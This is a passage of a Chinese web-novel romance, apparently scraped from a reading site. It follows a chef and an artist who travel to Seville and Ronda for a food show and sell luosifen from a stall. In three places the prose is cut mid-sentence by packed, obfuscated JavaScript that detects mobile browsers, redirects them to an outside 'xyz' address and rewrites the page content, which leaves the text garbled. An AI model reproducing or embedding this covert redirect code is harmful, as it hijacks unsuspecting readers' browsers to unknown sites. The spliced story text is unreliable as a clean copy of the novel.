但他现在迫切地需要一个答案，也需要向齐新雨证明自己有多在意这份答复。 “这是一段很长的旅程，会有烟火可亲和山长水远，也会有路途艰险、未来不定。”他说，似乎意有所指。 “齐新雨，你愿意陪我走完吗？” 他终于把新节目的策划书拿了出来，那上面清清楚楚写着双人旅行美食类综艺，两位嘉宾只签了一个人的姓名。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775123|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这个位置是留给你的，也只会留给你。 ”我知道我有点过分，没有明确征求过你的意见，就擅自把你列进了今后的规划。” 蒋醉余把纸笔一同推到他面前。 他轻轻摸了摸自己的掌心，汗津津的。足以彰显主人的紧张。 节目组催他找搭档其实已经催了有阵子，齐家的管家先生也神神秘秘地让他想做什么就去做。 但他一直不敢说。 相遇来得太仓促难防，于是止损变得无从提起。他不知道该怎样设想一个——他是说，假如、万一——齐新雨要留在英国的未来。 他甚至拜托其他人帮着保密，拖得国内节目策划团队那个风风火火的小姑娘作势要当场给齐新雨打电话。 拖到今天齐新雨在大号上发了自己的新作品。那是饱和度不高但相当明亮的颜色，像阳光下波光粼粼闪着星光的水面，混入牛奶的乳色。 他看见齐新雨在评论区回应说，作品的载具不是常见的画布，而是硬纸盒撕去光滑表面下的瓦楞纸板。 是几个月前他第一次见到齐新雨时，在门厅走廊里有点碍事的那只纸箱。 最表层暖白色颜料遮不住其下明媚鲜妍的色块，厚重的下层腌料也抹不平瓦楞纸的波浪。纸板的形状间或冒出，是牛奶湖里的岛链，是留待翻越的山脉。 蒋醉余看着那幅画的标题，就忍不住提前辞别了还在最后修改先导片的工作室众人。 说什么“用植物骨灰包裹幼年动物和尸油的高温高湿处理”，细思之下不过蒸屉上一只冒着热气的暄软奶黄包。 他终于不再恐惧问出“你愿不愿意和我走”。 现在客厅里大部分倾向于囤下来的材料已经基本不见了。 蒋醉余余光扫过空落落的客厅，一时间不太适应。连分心都无处可望，他只好把眼神放回面前的茶几。齐新雨捏着钢笔不知道在想些什么。 万籁俱寂中，齐新雨抽了抽鼻子。 他没头没尾地说：“你吓到我了。” 这可千真万确是个重罪。 蒋醉余凑到他身边，蹲下来，深手把他揽进怀里。 大约是他皮肤太薄又太白，抽噎起来不像人家眼尾通红。他沿双耳连两条线，之间的区域，耳朵、眼窝、鼻尖全是红的。 蒋醉余一下一下顺着脊柱缕下去，听着他闷声说我还以为你要抛下我自己走，忙不迭道歉：“我错了，宝宝。” 齐新雨红得更彻底了。 “你不许不带我。”齐新雨很凶地说，胸口一弹一弹的，是压抑的哭嗝。 蒋醉余连声答应。 齐新雨又说：“也不许骗我吓我，你明明应该知道我不可能拒绝你。” 蒋醉余想了想：“可以，但是你要学会拒绝我。” 现在是在意这个的时候吗！齐新雨气得想拿他耳朵磨牙。 他终于缓过一点，问起正事：“那我们什么时候去西班牙啊？” 蒋醉余一顿。 “明天上午的机票。”他说。 “我当时想的是，如果你不答应我，我就逃跑。 “但是你答应我了，所以我们去私奔。” 47. 野薄荷炸排骨 齐新雨感觉自己人虽然坐在飞机上，灵魂倒还在家里收拾东西。 “你就仗着我本来就有跟你走的计划。”他隔着毯子戳戳蒋醉余，还残余一点脾气。 他们前面坐着来自国内“魅启明”影视的节目策划和导演，也就是之前想引进《美食之王》、后来干脆决定的那家公司。 齐新雨今天才见到这群人，目前还有一点包袱，说话声音很小。 蒋醉余露出不太好意思的表情：“其实我想的是，反正欧洲就这么点地方，落了什么还能随时飞回来，时间和金钱成本都不高。” 说得跟土匪抢亲似的。 齐新雨叹了口气。 “那你的先导片怎么办。这安排得也太急了，我昨天还看网友问我你下一步计划是什么，今天到西班牙根本来不及让观众知道啊。” 新综艺是直播加剪辑录播的形式。录播还好说，但要是一落地就直播，宣传时间明显不够。 蒋醉余摸了摸鼻子。 “先导片……其实在昨天晚上我帮你收拾行李的时候，就已经发出去了。” 齐新雨飘来一个疑惑中透着威胁的眼神。 蒋醉余给他顺毛：“直播没有互动环节，影响节目效果的只有线下食客，所以观众多不多其实不太重要。” “我们毕竟和《美食之王》闹得不太愉快嘛，国内那边他们说也有人在盯我。”他想了想又解释一句。 为了防止谁的人脉或者金钱开路又来使绊子，他们干脆选择了突击式发布。 效果很好，连嘉宾本人都被打了个措手不及。 机上Wi-Fi不太好用，视频网站转了半天，才刷出首页全新的广告标语。 新综艺叫《摆摊日记》，名义上是旅行厨艺节目，但是今天导演见到他脱口而出的是“美食恋综项目”。齐新雨点开先导片，播放评论数量还在肉眼可见地增多。 最顶上是被无数点赞和回复“人工置顶”的一条评论：【虽然他没露脸，但是你们要不还是给泽菲尔打点出场费吧。】 cp粉自己也吐槽得很欢：【好了醉余你不要说话了！我听到你做什么泽菲尔都爱吃了，两只耳朵都听到啦！】 说得像他只知道吃。 齐新雨轻轻点了个踩，犹豫一下，又撤回了。 他退出评论，看向卡成PPT的视频。蒋醉余很有眼色地把另一只平板递过来，是导演组的源文件，中英双语字幕——这次综艺国内外双渠道联播。 视频在美食摄影方面下了大力气，但也不缺少笑点。 基本只体验过分餐制的陌生人们坐在一桌，看着不知疲倦的转盘和其上暗香萦绕的凉菜，多少都有些拘谨。 弱小、无助、但想吃的状态持续到第一位勇士拿起公叉（他没学会用筷子），夹了一块糯米藕。 湖北专程运来的红藕，只取大小相近的中段，粉而面的质地几乎一抿就化，用桂花蜜蒸得里里外外尽是香甜。 食客感受着糯米在口中黏软甜蜜的味道，惊诧地望着藕断丝连的细线和其上挂着的蜜滴，狠狠地举起勺子舀了一整勺糖汁。 以此为信号，开启了宾客们从浅尝到争抢的激烈就餐经历。 东坡肉肥而不腻、酒香扑鼻。 烤羊肉金黄焦香，柳木和果木熏出独特烟气。 大江海北或精细或粗放的做法，将欧洲死不瞑目的畜肉们整治得服服帖帖。 在葱丝等调料的配合下，一瓢热油最大程度激发东星斑的鲜美，温和的红色张扬地捕获所有人的关注。 按照一旁的建议，鱼肉、蒸豆腐和鱼籽一口放入口中，手工豆腐不是很绵软的口感，便增添几分古拙质朴。 一顿晚宴更为众人打开了新世界的大门。 鸣蛙穴兔在辣油中翻滚，卤煮内脏的精华融入扎实的面饼，野生薄荷叶伴着山菌和小排被炸至松脆。 先炸再煮的溜肉段、炒制难度极高的“三不沾”；港澳一带风味结合欧洲做法，分子料理偏爱的液氮和爆珠也在这一餐中偶有出现。 还有蒋醉余早在综艺里做过的金鱼状虾饺。 搭配更易挂糊的半流动蘸料，当初惨遭诟病无味的尾部做了改进。 它们现在被捏得薄如蝉翼，塑造出与鱼身不同的惊喜口感和味道。 没了《美食之王》比赛主题、食材和时间的限制，他像是要在这一顿饭里倾泻尽自己的前半生，把学过见过的所有饮食风格和技能都展现给顾客。 他毫不吝啬，无论多么罕见的技法，在这里都只是为了口味服务，留待食客管中窥豹、心旌摇曳，却不知道去哪再吃一顿。 ……满脑子只记住了晚餐结束后、蒋醉余出来感谢来宾时，口中一句句“没有泽菲尔就没有我的菜” 齐新雨虽然看过菜单，却还是第一次见到这些菜的模样、和蒋醉余在厨房中为了一丁点细节和厨师们据理力争的模样。 还看到了他说这个菜不能删、因为是备选项里小齐最爱吃的，那个菜也想保留、因为某月某日他做给了小齐很有纪念意义。 “我就说薄荷炸排骨很好，他们都不信，”蒋醉余凑过来告状，“结果做出来被吃个精光，你毕业那天更是一点食材都没剩下。” 完了，老顽童老师肯定要打趣他，齐新雨想，眼睛却舍不得离开屏幕。 两个多小时的飞行时间转瞬即逝，但先导片真的很长，直到飞机下降阶段他也没能看完。 他在空乘的提醒下关了平板，一扭头看到蒋醉余单手托下巴看着自己，目光灼灼。 齐新雨扒拉着安全带的锁扣，很警惕地问：“蒋先生在看什么？” “在看你。”蒋醉余说，“这么喜欢美食吗？看你眼睛亮亮的，好可爱。” 锁扣失去外力，啪地一声叩回原位，发出很清脆的响动。坐在前面的导演侧着耳朵偷听半天，终于忍不住扭头：“照这么说，齐老师最喜欢您啦。” 齐新雨发出无声的尖锐爆鸣。 齐新雨红通通地下了飞机。 他没抢过蒋醉余，只好眼巴巴盯着对方拖着的两只大行李箱，空手跟在旁边。 提前来准备的道具组等在机场外，旁边还有一位看上去有些眼熟的轮椅男子。 “醉余好久不见，这就是泽菲尔吧！”他热情地向众人挥手，“没想到你第一站竟然选了我这。” 蒋醉余快走两步和他打招呼：“还是在家修养的人状态好……不过脚伤这么严重吗？” 来人闻言便笑起来：“马上就好了，但是这把轮椅能冲刺诶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775124|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐新雨听了半天，终于意识到这是谁。 早在《美食之王》第三期，有一位选手因为脚伤影响行动，不得不放弃比赛。面前正是当时退出节目的西班牙厨师胡安。 “你怎么想的先来我们塞维利亚呢？”胡安饶有兴趣地问。 原因很多，蒋醉余让他猜。 其一，塞维利亚在西班牙南部，是他们此行最靠南的一座城市，后面很长一段时间都会是一路北上。 其二。蒋醉余慢悠悠道：“你记得我们最开始是怎么熟起来的吗？” 《美食之王》的每位选手都有亲友应援视频，有位拉美小哥用歌剧《塞维利亚的理发师》的选段，给蒋醉余改编了一曲。 作为歌剧故事背景的塞维利亚人，胡安因为这段视频而对他印象还不错。 “至于第三点嘛……”蒋醉余悄悄指了指身边兴致勃勃观察街景的齐新雨，胡安立刻会意地笑起来。 他对着身边正在录制素材的摄像机，一本正经道：“各位观众，你们看到了吗，恋爱中的人类就是这样不理性，为了目的地所谓‘蜜月圣地’的名头，宁愿牺牲营业额。好孩子不要学。” 蒋醉余淡然接话：“好孩子也不要学他编排别人。” 胡安怒而威胁：“小心我不带你们去菜市场！” 话虽如此，他还是尽职尽责地带着众人来到今天的第一处景点，继续准备录播的片段。 “感谢一般路过科技公司对本节目的大力支持，”蒋醉余自己充当主持人，“《摆摊日记》直播中的实时翻译字幕均由一般路过自动听取生成。” 作为一档随机摆摊节目，蒋醉余和齐新雨每周前往不同的城市或国家，开设不同的中式小吃摊。摊位只从周四维持到下个周一，留出两天休息和赶路，算是种快闪活动。 只有摆摊日常会被直播，其余前期准备和路途中的风景都留给剪辑版视频权当悬念。 “在每周的摆摊开始之前，我们会任意寻找两位路人。邀请他们一位指定摆摊的菜品、另一位选择摆摊的地点。” 出于主题的考虑，他们倾向于选择华裔来提出菜色，毕竟能说得上来中餐小吃的本地人不算多。 不过这一周，因为他们并不计划在塞维利亚城内摆摊，打算到了最终目的地再选定随机地点。 蒋醉余话音未落，齐新雨揪了揪他的袖子。一个明显是华人的女生正打着电话路过。 他们凑上前去，女生不假思索就答应了出镜。 “我现在最想吃到的中餐街边小吃吗？” 她沉吟着重复一遍问题，纠结道：“螺蛳粉可以算小吃吗？应该算吧。 “小地瓜上那些夜市博主天天发螺蛳粉，我快馋死啦！” 蒋醉余故作镇定地点点头，把节目组的小礼物和宣传卡片递给她聊表感激。 塞维利亚今天天气很好。古老的建筑汲取了天主教与□□两方风格，穿城而过的瓜达尔基维尔河泛起粼粼波光。 蒋醉余看看安逸热情的城市，又想想号称“天空之城”“最适合情人之旅”的摆摊目的地，陷入长久沉默。 虽然已经打好了申请，但是在这种地方卖螺蛳粉真的不会被当地拉黑吗！ 这个节目怎么第一期就要翻车的样子啊！ 48. 清水腌酸笋丝 开弓没有回头箭，既然抽中的这位幸运路人点了螺蛳粉，那本周开店的菜单就这样定了下来。 今天的采买任务可不轻，好在他们身边还有个塞维利亚土著胡安。他听完了节目的需求，思索片刻就自信地指了个方向。 蒋醉余拉起站在原地忧心忡忡的齐新雨。 人们总喜欢十指相扣的亲密，他其实蛮喜欢拉住手腕。齐新雨那双手腕骨伶仃却又有肉，刚好可以一只手握住，有种别样的安定感。 他有时候陷入思考，无意识地摩挲凸起的骨骼，齐新雨就晃晃手很小声地说有点痒，但并不挣脱。 塞维利亚虽然不临海，但有一条穿城的长河，自然也少不了水产市场。 做螺蛳粉汤底理应用被俗称为“石螺”的几种淡水螺类，它们基本分布在东亚。 蒋醉余举着赞助商的翻译机，和商家交涉半天，对方终于相信了这不是一个整蛊节目。他嘀咕着“谁要吃这么小的田螺”，半晌后给他们拿来零零散散数种小螺。 “我们在这里找不到正宗的‘螺蛳’，”他对着镜头说，“所以把能找到的食材都买了一份，待会直接到导演组的房车上煮，看看哪些比较合用。” 柳州人选用小石螺煮汤，是因为它生活在江边流动澎湃的水域，相比田螺等近亲少了几分土腥味，而多了鲜甜。 蒋醉余用小牙签挑出螺肉，分了好几个盘子端到用餐的地方。齐新雨没跟着进厨房，正在那里一边画街景速写一边等他。 “看了这么久欧洲小镇还没有看够哦。”蒋醉余问他。 齐新雨摇头：“你不懂，心境不同看到的景象是不同的，而且你看我前两天买的这个便携水彩盒，颜色好有意思的。” 好艺术的回答。 蒋醉余等他把东西收好，变魔术似的掏出一根布条来。 齐新雨可怜巴巴地盯着他，得到一句“双盲测试”的答复。他只好闭上眼睛，睫毛微微颤抖，被蒙住眼睛后很自觉地伸出手找蒋醉余。 这里是腹肌……那再往上，然后往外一点，号，摸到肩膀关节就可以往下走了…… 蒋醉余忍无可忍扣住他的手，俯身拿牙签扎螺肉。齐新雨偷偷回味了一下，张开嘴仰起头等投喂。 他牙齿很齐，虎牙很尖，吃到水产就露出很开心的表情，更像猫了。 胡安在旁边做了七个深呼吸，终于禁不住开口：“你们知不知道这里还有第三个人啊！” “刚刚煮的时候我们不是讨论过了吗。”蒋醉余很冷酷。 他把三个人的品尝结果整理一下，下车去下了几种螺的订单，回来看到齐新雨果不其然已经给胡安顺了毛。 齐新雨摘了眼罩，听到脚步声就望向他。 蒋醉余夸他有品鉴天赋：“这里面你吃着有点咸的那种，果然是老板不知道从哪收的海螺，我看还挺新鲜的就也要了。” 离开水产市场，他们又跑到市场和全部的中国超市，买到了片状腐竹、黄花菜、木耳、干米粉、酸笋和花生，以及各种各样的香料。 每种香料的袋子都不算小，碰上茴香、白芷这样日常做菜用得不多的，若是普通人想买，大概能在厨房里放到永生。 干米粉有些不够劲道弹牙，米香也只是似有若无。但这里毕竟不是华人非常多的城市，能买到就已经是万幸。 蒋醉余看着账单，叹了口气：“可见海外华人想吃口新鲜的家乡味道有多难。” “但是你觉不觉得少了什么东西。”齐新雨把车厢里密密麻麻的食材翻来覆去点了两遍。 蒋醉余揽过他让他不要着急，说什么都安排好了。齐新雨只好继续忧心忡忡地跟在摄制团队里。 买够食材，车队就出了城。一路上都是南欧田野炊烟的乡村牧歌景象，他们在不到两小时后抵达新的目的地。 摄影小哥兴致勃勃地放飞了他的无人机。 悬崖勾勒出城市的轮廓，蜿蜒曲折的坡道两旁斜斜坐落着不同时代的建筑，古老的圆形斗牛场被民居围住。 自苍穹向下鸟瞰，若雾气稍重一些便有横云断岭之感，小镇仿佛修建于空中楼阁。 蒋醉余伸出手邀请齐新雨下车，导演从旁边递过来一只信封，指示蒋醉余把它交给齐新雨。 齐新雨顺着刷金火漆印撕开信封，轻声念出里面的文字。 他从小在英国长大，说得一口很漂亮的英音，读起海明威简洁含蓄的选段更显缱绻。 “若你在西班牙享受蜜月或与谁私奔至此，龙达便是你该向往之处。” 他抬起眼睛，阳光落在两个人脸上，把面容模糊成一片暖色。可能是午后光线太刺眼，他忽然有种想落泪的冲动。 就在两个人默然无声的时候，一个兴奋的声音打破了寂静：“朋友们，你们猜猜是谁来了！” 众人顺势望去，又一辆节目组标志的车停在旁边，车上走下工作人员和一位也很眼熟的小雀斑。他们是从另一个方向的马拉加开过来的。 小雀斑抱着两个玻璃罐子跳下车，工作人员忙不迭地凑到他身边，生怕他手一松瓶子就落地。 蒋醉余笑着和他打招呼：“加布里埃尔，一路辛苦啦。” “不辛苦，我蹭我们家包机到的马拉加，开过来没你们时间长。” 加布里埃尔说，扫了一眼自从他出现就臭着脸的胡安：“不过醉余你干什么非要挑这家伙的家乡，我们马德里也很好玩嘛。” 他看看手里的罐头：“还不用大老远委托我帮你买食材，虽然我很乐意见识这种新鲜东西。” 胡安哼了一声，不和他说话。 蒋醉余连声道谢，接过他手中两瓶酸笋。 这是他在伦敦中超见过的成品酸笋，味道还算正宗，但塞维利亚的小超市没有买的，只能请加布里埃尔在首都马德里找一找。 最终实在是有惊无险，成功找到了这项珍贵而重要的食材。 第二天一早，他们去买好了棒骨、鸡蛋等新鲜食材，拦住路上一位精神矍铄的老大爷。 “能请您随便说一个龙达的地点吗？”加布里埃尔只要不面对胡安就很有礼貌。 老先生想了想：“那就‘新桥’附近、‘阿拉伯拱门’旁边的草坪吧，我正准备去那锻炼，风景又好又安静——不过你们问这个干什么？” “我们要摆摊卖一种中欧的米粉，您中午要是没事可以来看看。”加布里埃尔熟练地打广告。 得到一个相当友善的答案，众人笑容满面地辞别这位善良的路人。 新桥离《摆摊日记》短租的民宿很近，几乎不用耗费多少时间就能过去。 而且它几乎可以说是龙达最重要的两个必去景点。现在正值暑假，各国游客必定不会少。 他们回到民宿，用高压锅炖出骨汤，炸好腐竹、花生和炸蛋，炒好酸笋、木耳等配菜，然后就可以开始准备汤底。 “终于要用到我带来的酸笋了吗！”加布里埃尔很兴奋。 蒋醉余无奈地看他一眼：“你别凑这么近。” 加布里埃尔疑惑地指了指和自己距离差不多的胡安。 蒋醉余提醒他回忆之前自己做血制品的那次比赛。嗅觉灵敏的加布里埃尔当时可是被臭味熏得相当狼狈。 小雀斑将信将疑：“就这个东西？” 罐装酸笋看上去人畜无害，洁白的笋丝浸润在清亮透明的汤汁中。 就算是发酵产物，但它一个植物制品能有什么坏心眼呢。君不见欧洲“臭名昭著”的蓝纹奶酪、鲱鱼罐头、腌海雀可都是肉制品！ 加布里埃尔微不可察地后撤半步，蒋醉余治好祝他好运。 他双手掌根抵住罐头边缘用力一挤，大臂清晰凸显出肌肉用劲的痕迹，罐头失去密封，发出漏气的响声。 随着盖子被轻松拧开，酸笋的味道飘散出来。 胡安的轮椅表现出优越的倒车加速性能，加布里埃尔脸色一白。 齐新雨抽抽鼻子，有点困惑：“好像……也不是很臭啊。” 蒋醉余点点头。 “广西本地的酸笋一般用竹笋和山泉水腌制，材料简单、发酵时间也不会特别长，其实是以酸味为主，带有发酵物的特殊味道和植物清香。” 甚至他们这瓶酸笋因为千里迢迢海运到欧洲，多存放发酵了一段时间，大概闻着是比本地或者自家腌的酸笋还更刺激一点呢。 只不过因为螺蛳粉的“臭味”扬名宇内，很多商家甚至会专门在酸笋和汤底中加入增臭剂。惹得广西人四处为它正名。 除了嗅觉灵敏或对这种味道非常敏感的人，对普罗大众来讲，其实酸笋的所谓臭味并不算多么突出——尤其是在已经有了心理准备之后。 比如刚刚忙着嘲笑加布里埃尔所以受到冲击的胡安，目前就已经缓过劲，划着轮椅再次凑上前来。 把食材手边排开，蒋醉余起锅热油。 姜、蒜和鲜辣椒在热油中翻滚，被炸得金黄，将明亮的油脂染上温暖的橙红。 然后就是重头戏酸笋。独特的味道被温度激发，瞬间弥漫在整间厨房中，酸辣开胃的气息引得人满口生津。 再看加布里埃尔，他已经扒在了门边，但仍坚持不懈地试图围观制作过程。 蒋醉余只顾得上把齐新雨向后扒拉一点，以防他被油溅到。加入干辣椒后，湿漉漉吐干净泥沙的螺类就在米酒的陪伴下下了锅，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775125|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量水分一下炸出响亮的声音。 米酒不仅是为了去腥，更给汤底增添几分清甜。 最后一步倒入锅中的腐乳和几种调料则增鲜增香，补上回味的醇厚。 到这里，炒料的过程就已经基本结束。 只需将炒好的底料与高汤混合，任由时间的魔法用咕嘟咕嘟的泡泡带走不合群的异味。 在最后用一点盐升华前调，便成就温和却“静水流深”风味复杂的螺蛳粉汤底。 加布里埃尔终于翻到了一只口罩和一副无框眼镜，成功地混入了四人出摊队伍。 节目组定制的多功能餐车上，已经把之前的配料分别放进小桶摆好。当中两片大空位，一个留给飘香的汤桶，另一个留给煮粉和生菜的煮锅。 下方空间装满了一次性小碗，材质很厚实，还很贴心地配了筷子和叉子两种餐具。 收拾停当，蒋醉余看着一脸期待围观自己的嘉宾们和工作人员，终于后知后觉地意识到…… 作为本节目唯一指定摊主，他需要负责每天把这辆乍一闻确实有点臭的车骑到目标地点？ 逼死一个社恐对你们有什么好处啊！ 加布里埃尔和胡安坐在导演车上摇旗呐喊。 路上的人们有的看到摄影师觉得好奇，也有的被汤桶中传出的味道惊到，纷纷行来注目礼。 只有齐新雨没顶住蒋醉余的眼神攻势，找房东租了一辆自行车，陪他骑了一路。 还好这样的社恐凌迟时间不长，他们很快到了阿拉伯拱门不远处，看到了早上那位老大爷。蒋醉余还没平静一下，就被眼前的景象抓走了注意力。 “……他怎么没说他的草坪是个草坡啊！” 摄影师小声为路人先生辩护：“可是这个地方找出来很漂亮诶。” 作为所谓的天空之城，龙达的桥也不是架在水上，而是矗立于深深的石谷之上，显得格外壮观宏大。 新桥虽美，真正站在桥上却看不出来什么景观。反而面前这个地方与它隔了快一条街，还有翠绿的草坪和灌木作为前景，生命与历史在此相映成趣。 蒋醉余深吸一口气，把所有食材和可以晃动的零部件搬下来，先把车送上草坡。嘉宾和工作人员纷纷赶过来帮忙。 胡安站起身，拖着自己的轮椅，倔强地蹦上了草坡。加布里埃尔看到这一幕瞪大了眼睛，连忙冲上前扶住轮椅强迫他坐下。 胡安哼哼：“你管我干什么。” “我怕你死在我面前，人家说我们家人冷血。”加布里埃尔说。 山坡不算太平坦，小雀斑推着他一个爆冲，颠得胡安咬牙切齿：“你冷血！你虐待病号！” 加布里埃尔不屑：“没见过病号能自己蹦着走的。” 蒋醉余抱着配菜的小桶从旁边经过，叹为观止地看了他们俩一眼，没敢打招呼。可别引火上身找他说理。 “你们好啊！”老大爷比几个年轻人都有朝气，热情洋溢地和他们问好，“你们来摆摊了吗！先给我来一碗尝尝！” 摄影师把汤桶抬过来，老大爷表情一僵。 “你们怎么把厨余垃圾也带来了。”他很认真地问。 “这是我们的米粉的汤底哦，”齐新雨笑眯眯地说，“您要一碗是吧，稍等我们开启直播就给您盛。” 大爷踟蹰道：“我……我一会可能有事……” 摄影师奋力拆台：“不用等啦，刚刚我同事已经把直播打开了哦。” 蒋醉余凑过来，和两个平台的网友分别打招呼。 屏幕上显示国内蒙站兴致勃勃的弹幕：【不用和我们打招呼，快给老爷子招待一碗！】 蒋醉余的老粉感动得咬手绢：【酱鱼是活的酱鱼啊啊啊啊妈妈我推真香……不对，这菜真帅！】 他们目前在欧洲热度更高一点，实时评论刷得很快：【好久不见！泽菲尔笑得坏坏的好可爱！】 蒋醉余操作节目组的账号点了个赞。 他们之所以固定中午出摊，就是因为此时恰巧也国内的晚饭时间左右；就算是北美，也可能有一部分起得比较早的人成为观众。 他向网线那边的赛博食客们介绍自己的销售目标：“节目组给我们的任务是每周卖出三百份，如果没有达成就要受到惩罚……对，小齐来定。” 齐新雨笑得很开心：“蒋先生不会想知道惩罚的哦。” 蒋醉余有点想翻回去把那个赞取消掉。 老大爷自己做了半天心理建设，终于看着摊位上金黄蓬松、散发油香的炸蛋下定决心：“既然你们这么热情，那我就买一碗吧。 “不过我要说好，如果不好吃，我可是要告诉我的邻居们都别来的哦。” 49. 一天五个炸蛋 “一份三欧。”加布里埃尔报了个很低的价格。 螺蛳粉的分量不大，容器大小有点像国内装臭豆腐之类的纸碗。 蒋醉余本就是想给海外游子们带来一点家乡的味道，不靠摆摊挣钱，所以售价设置得十分亲民。 正在数钱的老先生当即愣住，茫然地交过来几枚硬币。 “这是只有汤粉、什么配菜都不加的价钱吗？”他难以置信地问。 小雀斑摇摇头，向他指指摊上的小桶：“这是基础价格，但是包括木耳、炸腐竹、花生这些所有内容。 “如果您喜欢，还可以无限加酸笋和酸豆角。” 他说得有点心虚，被敏锐嗅觉“坑害”的加布里埃尔有点无法理解这句话的吸引力，只能飞快地把话题带过去。 “目前摊上额外配菜只有炸蛋，零点五欧一个。” 老先生——他分享了自己的名字，现在我们该叫他何塞了——很豪爽地要求了满配。 螺蛳粉能在互联网时代打出名头，和优越的外观也离不开关系。 汤底橙红、豆角深绿、酸笋奶白，黄花菜、炸花生和木耳上演一场大地色系由土黄到深棕再转黑的渐变。 但最引人注目的一定是那只金黄的炸蛋，圆滚滚的外表正好盖在碗上，用叉子一压便有红汤从缝隙漫上来。 但能够越过炸蛋防线的汤汁并不多。它们都被贪婪的蓬松空隙所吸收，把炸蛋坠得鼓鼓囊囊。 现场煮制的米粉和生菜浸到汤里，蒸腾的热气带着螺蛳粉独有的气味漫出小碗。 何塞在摊位上四双眼睛紧张的凝视下，小心翼翼地用叉子卷起一点米粉。 红油倔强地攀附在米粉上，汤底则依依不舍地顺着米粉滑落。 他废了好大劲，才像吃意面一样成功地把一根米粉卷到一起，做好了当小镇上第一个吃螃蟹的人的准备，便深吸一口气—— 糟糕，不该深呼吸的，忘记这个菜味道很奇怪了。 他面色一僵，眼看着好不容易成型的米粉坨有要从叉子撒开的趋势，立刻顾不上别的，把它送入口中。 味蕾是最先开始工作的。他蹙眉感受着臭味在口中慢慢变轻，辣味和鲜味后来居上。 接着齿尖接触米粉，饶是自认为好奇心旺盛如他，也立刻感受到了和所有粉面类都都不同的顺滑弹牙口感。 它不像意面那样带着突出的颗粒感，也不像河粉或细粉丝一样脆弱易折，又比那些宽粉更加扎实。 乍一品尝，何塞倒觉得有点像奶茶店里那些珍珠的口感……不对，没那么粘牙。 尝过了米粉，他又换了把勺子，逐一品尝了每道配菜。酸笋是脆的，酸豆角要更绵软一点，炸蛋则让他犯了难。 这么大一块蛋饼，一口肯定吃不掉，可是在场工具又不太方便把它切开，他用勺子抵着碗壁忙活半天，终于分离出一小块来。 轻轻咀嚼蛋饼，汤汁在口中炸开。它不如豆味清淡的炸腐竹吸汁，味道层次却更加复杂，到结束时满口都是宽油浸润的蛋香。 “您想想我们吃披萨不也是一口咬下去吃吗，”齐新雨贴心建议，“切起来这么麻烦，不如感受一下口中塞满炸蛋、想咬多大口就咬多大的满足感吧。” 何塞看了一眼摄像机。他一个小镇老头子，应该也没多少人认识他吧，吃得狼狈点又能怎么样呢。 他从善如流地说服了自己，一口一口把炸蛋吃了大半，终于想起来这是一碗汤粉。 他看看米粉，思索一下刚刚的味道，大脑竟然只在这么短的时间内就把回忆重新美化。 好像有点怪，但他还想吃一口。 再吃一口。 被冷落了半天的米粉并不买账，等到何塞放松警惕吃得正舒爽，终于姗姗来迟地感受到了来自米粉的恶意。 圆形的米粉光滑至极，用筷子吃都有不少人要砸进去，何况是路边摊的塑料叉子呢。 米粉才不管是不是有个人类正张开嘴凑近自己，行云流水地从叉子上跌落回小碗。红汤在碗内炸起，挂到何塞的胡子上，也溅到他的胸前。 齐新雨连忙送上纸巾。何塞看看衣领上的油点，嘟囔一声：“我今天才换的衣服，老婆子肯定又要说我了。” 做出这么大的牺牲，他可得吃回本。 这样想着，他看看手中已经见底的小碗，又排出五欧元硬币：“老板，给我再来一碗！加四个蛋！” 配料和米粉被捞了个干净，只剩一些短短的碎米粉在汤底中摇曳。何塞盯着它们看了一会，摸摸自己腰间的水壶，干脆扬起头把汤底一饮而尽。 “哇，好爽，”他长叹一声，咂咂嘴有些诧异，“这个汤配着米粉吃味道正好，白嘴喝竟然也不咸诶。” 蒋醉余和齐新雨对视一眼，齐新雨开始给他找零。“您一天吃五个炸蛋也太多啦。”他不太赞同地说。 明明这两个人一句话都没说，胡安却感觉自己被狗粮味熏了一下，连忙撇开头。 一扭头，他才注意到草坡下驻足站着一家背着相机的亚裔，似乎已经待了有段时间。 他换了英语，指指车子顶上的招牌，欢迎道：“我们是卖一种叫‘螺蛳粉’的中国米粉的。如果你担心摄像机，我们可以实时打码。” 摄影师精挑细选的机位，一个挂在餐车顶上，是沉浸式摆摊，另一个照着小摊全景，顾客难免侧颜出镜。 透过取景框，思维风格各异的青年站在餐车后面，餐车上钉着齐新雨随手勾勒的招牌，身后是草坪。 远景里则能清晰看到碎石沟壑高架在石谷上的古桥，和它尽头颇具风情的庄园式建筑，被深远湛蓝的天空衬得古朴恢弘。 导演和摄影师都难以割舍这个机位，宁可多费点力气给顾客打码。 那家人请他们挡上孩子的脸，便走上前来。 “要点什么？”蒋醉余看到他们的面孔，当即切换了中文。 